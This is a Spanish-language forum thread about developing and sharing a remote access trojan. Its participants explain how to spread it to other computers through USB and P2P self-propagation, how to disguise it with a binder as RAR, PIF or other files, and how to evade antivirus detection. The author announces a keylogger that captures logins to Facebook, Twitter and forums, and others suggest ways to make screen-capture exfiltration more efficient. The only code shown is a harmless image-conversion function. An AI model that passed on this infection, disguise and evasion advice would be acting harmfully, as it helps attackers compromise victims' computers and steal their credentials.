COmo lo propago a otro ordenador , puedo infectarlo nada mas ejecutando el archivo!, o tambien lo puedo camuflar con PDF, o extensiones rar, ,exe
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Pregunta disculpe me ignorancia.
COmo lo propago a otro ordenador , puedo infectarlo nada mas ejecutando el archivo!, o tambien lo puedo camuflar con PDF, o extensiones rar, ,exe
el server lo puedes crear con la opción de auto-propagacion USB & P2P (Ares) pero si tu quieres infectar un ordenador ya que tienes el server hecho
ya luego con un Binder (Joiner) lo puedes adjuntar con un DPS, RAR, PIF, etc etc. existen miles de formas para que puedas camuflarlo y hasta sacarle los pocos AV'S que lo detectan.
Añádale funciones diferentes que no tengan los demás RATS eso lo haría especial
Recomendación
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Añádale funciones diferentes que no tengan los demás RATS eso lo haría especial
Recomendación
Si eso al tiempo iré añadiendo, no quería seguir agregando funciones y opciones sabiendo que las que ya tiene tienen errores.
ahora que ya todo es estable y funciona relativamente bien, si podría pensar en agregarle opciones diferentes
también tendría que pensar como cuales, y como hacerlas.
cualquier opción que se te ocurra, sera bien recibida.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código!
Pues el bueno de Christian me dijo que en cuanto termine de escribir un paper de seguridad relacionado con el tema publicará todo junto: El código de su troyano y las observaciones que hizo durante el proceso. De lo más interesante.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
ahora que ya todo es estable y funciona relativamente bien
Pues ahora sí que toca leer el código con calma. Enorme trabajo, xxneeco83xx, gracias por compartirlo con todos.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Con respecto al código y la idea que comentas.
Se ve interesante, ojala comparta el código!
Pues el bueno de Christian me dijo que en cuanto termine de escribir un paper de seguridad relacionado con el tema publicará todo junto: El código de su troyano y las observaciones que hizo durante el proceso. De lo más interesante.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
ahora que ya todo es estable y funciona relativamente bien
Pues ahora sí que toca leer el código con calma. Enorme trabajo, xxneeco83xx, gracias por compartirlo con todos.
Buenisimo! gracias. (adelanto : ando trabajando en un keylogger avanzado, detecta paginas que requieran login, facebook, twitter, foros, etc, y hookea el teclado, y se incorporo para ver las ventanas abiertas con sus títulos direcciones y demás )
Hola oye al momento de abrir el programa me sale este mensaje (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Hola oye al momento de abrir el programa me sale este mensaje (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo
mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ? :-\
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Hola oye al momento de abrir el programa me sale este mensaje (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo
mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ? :-\
Ya probe con eso y mesigue saliendolo mismo :s
XXNEECO83XX
Si que te sarpaste con el código, es demaciado y esta muy bien comentado.
Una sugerencia, para el screen capture, estaria bueno dividir la pantalla en secciones de captura (9 preferiblemente), en vez de sacar una captura completa de la pantalla y enviarla, enviar pedasos que hayan sido modificados (donde el usuario haya hecho alguna acción).
Esto podria evitar que se envien datos de tamaño excesivo y aumentaria la velocidad de envio - recepción.
Otra cosa, si podes implementar un sistema de plugins estaria muy muy muy bueno, preferiblemente en conversión de llamadas STDCALL, tengo ganas de aportar, pero no se C++.
En functions.h:340 convertimos la imagen a JPG, pudiendo cambiarlo a PNG. Creo que PNG sería más ligero y fácil de enviar, por lo que sería una mejor opción por defecto. ¿O preferiste JPG por alguna razón en especial?
void BitmapToJpg ( HBITMAP hbmpImage, LPSTR filename )
{
wchar_t JPG [ MAX_PATH ];
swprintf( JPG, L"%hs", filename );
Bitmap *p_bmp = Bitmap::FromHBITMAP ( hbmpImage, NULL);
//Obtenemos el encoder de JPG, tambien puede modificarse por el de PNG 'image/png'
CLSID pngClsid;
int result = GetEncoderClsid ( L"image/jpeg", &pngClsid );
if ( result == -1 )
{
delete p_bmp;
return;
}
p_bmp -> Save ( JPG, &pngClsid, NULL);
delete p_bmp;
}
Oye, está quedando genial.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Hola oye al momento de abrir el programa me sale este mensaje (http://www.subeimagenes.com/thumb/qa-1396963.png) (http://www.subeimagenes.com/img/qa-1396963.html)
Que puedo hacer para solucionarlo
mm que raro, no habia visto nunca ese error, ni estoy informado acerca de que lo pueda producir porque lo eh testeado en diferentes ordenadores con diferentes SO
y ha funcionado, Has probado registrar los componentes de la carpeta Registrar ? e intentar abrir el cliente como administrador ? :-\
Ya probe con eso y mesigue saliendolo mismo :s
Dejame ver como puedo solucionar tu problema amigo, en un rato ya te dire que solucion encontre
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
XXNEECO83XX
Si que te sarpaste con el código, es demaciado y esta muy bien comentado.
Una sugerencia, para el screen capture, estaria bueno dividir la pantalla en secciones de captura (9 preferiblemente), en vez de sacar una captura completa de la pantalla y enviarla, enviar pedasos que hayan sido modificados (donde el usuario haya hecho alguna acción).
Esto podria evitar que se envien datos de tamaño excesivo y aumentaria la velocidad de envio - recepción.
Otra cosa, si podes implementar un sistema de plugins estaria muy muy muy bueno, preferiblemente en conversión de llamadas STDCALL, tengo ganas de aportar, pero no se C++.
Gracias por tu ayuda, si es buena idea, pero porque dices que el trafico es lento si cada imagen aproximadamente pesa entre 30/40kb como maximo ? que va no me parecio lento porque una conexion como lenta hoy en dia no baja los 3 MB'S por segundo.
Un sistema de plugins ? te refieres a poder agregarle plugins externos programados ? no logro interpretar bien la idea esa de los plugins.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
En functions.h:340 convertimos la imagen a JPG, pudiendo cambiarlo a PNG. Creo que PNG sería más ligero y fácil de enviar, por lo que sería una mejor opción por defecto. ¿O preferiste JPG por alguna razón en especial?
void BitmapToJpg ( HBITMAP hbmpImage, LPSTR filename )
{
wchar_t JPG [ MAX_PATH ];
swprintf( JPG, L"%hs", filename );
Bitmap *p_bmp = Bitmap::FromHBITMAP ( hbmpImage, NULL);
//Obtenemos el encoder de JPG, tambien puede modificarse por el de PNG 'image/png'
CLSID pngClsid;
int result = GetEncoderClsid ( L"image/jpeg", &pngClsid );
if ( result == -1 )
{
delete p_bmp;
return;
}
p_bmp -> Save ( JPG, &pngClsid, NULL);
delete p_bmp;
}
Oye, está quedando genial.
Preferi JPG porque me daba siertos problemas en VB6 en el PictureBox cargar archivos de formato PNG, si se que es mas ligero y reduciria el tamaño, y seria mas veloz, pero de igual forma intentare corregir eso, y le dare formato PNG.
Ahora ya tiene incorporado la deteccion de paginas web, y ventanas abiertas. ya luego lo subo con algunos cambios aplicados.
CitarGracias por tu ayuda, si es buena idea, pero porque dices que el trafico es lento si cada imagen aproximadamente pesa entre 30/40kb como maximo ? que va no me parecio lento porque una conexion como lenta hoy en dia no baja los 3 MB'S por segundo.
Un sistema de plugins ? te refieres a poder agregarle plugins externos programados ? no logro interpretar bien la idea esa de los plugins.
El envio de imagenes podria ser mas eficiente, mientras menos datos innecesarios se envien, mejor.
Con el sistema de plugins me refiero a poder agregarle funciones nuevas a tus softwares mediante bibliotecas externas (de terceros).
Vease: Wikipedia. (https://es.wikipedia.org/wiki/Complemento_(inform%C3%A1tica))
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
CitarGracias por tu ayuda, si es buena idea, pero porque dices que el trafico es lento si cada imagen aproximadamente pesa entre 30/40kb como maximo ? que va no me parecio lento porque una conexion como lenta hoy en dia no baja los 3 MB'S por segundo.
Un sistema de plugins ? te refieres a poder agregarle plugins externos programados ? no logro interpretar bien la idea esa de los plugins.
El envio de imagenes podria ser mas eficiente, mientras menos datos innecesarios se envien, mejor.
Con el sistema de plugins me refiero a poder agregarle funciones nuevas a tus softwares mediante bibliotecas externas (de terceros).
Vease: Wikipedia. (https://es.wikipedia.org/wiki/Complemento_(inform%C3%A1tica))
Si claramente el programa podría ser mucho mejor en todos los aspectos.
Si se lo que es un plugin quizás me exprese mal, en estos momentos no se me ocurre como implementar la forma de que mi troyano acepte plugins.
tal ves con mas tiempo algo se me ocurra y lo pueda implementar.
Hola, muy buena
¿Que tal va el proyecto?
Lo e estado probando y va muy bien, pero tiene algunos fallos
Para cuando las siguiente versión ;D
Un saludo y muchas gracias por el programa